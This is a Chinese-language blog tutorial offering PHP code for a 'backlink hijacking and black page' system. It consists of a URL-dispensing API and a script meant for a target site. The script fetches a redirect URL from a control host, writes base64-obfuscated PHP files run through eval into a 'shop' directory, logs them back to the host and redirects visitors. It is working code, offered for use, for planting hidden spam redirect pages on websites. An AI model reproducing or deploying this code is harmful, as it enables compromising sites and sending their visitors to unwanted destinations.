Ceacer课堂开课啦!简单写一个Backlink劫持+生成黑页系统
Ceacer课堂分享简单实用的Backlink劫持和黑页生成系统教程,帮助你快速搭建劫持链接和生成黑页的工具。适用于SEO研究与流量操控,轻松实现链接重定向和页面跳转。内容深入浅出,适合有一定技术基础的用户快速上手。
prepare(" SELECT * FROM urls ORDER BY RAND() LIMIT 1");$stmt->execute();$result = $stmt->get_result();$row = $result->fetch_assoc(); if ($row) { // 提取 URL $url = $row['url']; // 更新 URL 状态为 'used',增加调用次数,并记录当前时间为最后调用时间 $update_stmt = $conn->prepare(" UPDATE urls SET status = 'used', call_count = call_count + 1, last_called = NOW() WHERE id = ? "); $update_stmt->bind_param('i', $row['id']); $update_stmt->execute(); // 返回成功的 JSON 响应 echo json_encode([ 'status' => 'success', 'url' => $url, 'call_count' => $row['call_count'] + 1, // 返回更新后的调用次数 'last_called' => date('Y-m-d H:i:s'), // 返回更新后的调用时间 ]);} else { // 如果没有找到链接,返回错误 echo json_encode(['status' => 'error', 'message' => 'No URL found.']);}?>
生成端代码(放置目标端代码)
// 开启错误报告error_reporting(E_ALL);ini_set('display_errors', 1);// 配置文件,连接到 1.com 的 API$api_url = 'http://xxx.cc/api/';$response = @file_get_contents($api_url);if ($response === false) { echo json_encode(['status' => 'error', 'message' => 'API request failed']); exit;}// 解析 API 响应内容$data = json_decode($response, true);// 检查 JSON 解析是否成功if (json_last_error() !== JSON_ERROR_NONE) { echo json_encode(['status' => 'error', 'message' => 'Invalid JSON response']); exit;}if ($data['status'] === 'success' && isset($data['url'])) { $url = $data['url']; // 生成时间戳命名的 PHP 文件 $timestamp = time(); // PHP 文件的内容 $file_content = "<?php\n"; $file_content .= "header('Location: $url');\n"; $file_content .= "exit();\n"; // 加密文件内容(使用 base64 编码) $encrypted_content = base64_encode($file_content); // 生成解密后的 PHP 代码 $decryption_code = "<?php\n"; $decryption_code .= '$encrypted_content = "' . $encrypted_content . '";' . "\n"; $decryption_code .= '$file_content = base64_decode($encrypted_content);' . "\n"; $decryption_code .= 'eval("?>" . $file_content);' . "\n"; // 解密并执行文件内容 // 确保 shop 目录存在并且可写 $dir = 'shop/'; if (!is_dir($dir)) { mkdir($dir, 0777, true); // 创建目录 } // 保存加密后的 PHP 文件到 shop 目录 $file_path = $dir . $timestamp . '.php'; if (file_put_contents($file_path, $decryption_code)) { // 获取当前域名 $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $domain = $_SERVER['HTTP_HOST']; // 构建完整的 URL $full_url = $protocol . '://' . $domain . '/' . $file_path; // 准备发送到 API 的数据 $postData = [ 'url' => $url, 'file_path' => $file_path ]; // 初始化 cURL 请求 $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url . 'log'); // 发送日志到 API curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 执行 cURL 请求 $apiResponse = curl_exec($ch); curl_close($ch); // 检查 API 响应 $apiData = json_decode($apiResponse, true); if (isset($apiData['status']) && $apiData['status'] === 'error') { echo json_encode(['status' => 'error', 'message' => 'API logging failed']); exit; } // 跳转到生成的文件 header("Location: $full_url"); exit(); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to create encrypted PHP file']); exit; // 如果生成文件失败,直接退出 }} else { echo json_encode(['status' => 'error', 'message' => 'No valid URL found']); exit; // 如果没有可用的 URL,直接退出}
分享
你的反应是什么?
喜欢
0
不喜欢
0
爱
0
有趣的
0
生气的
0
伤心
0
哇
0
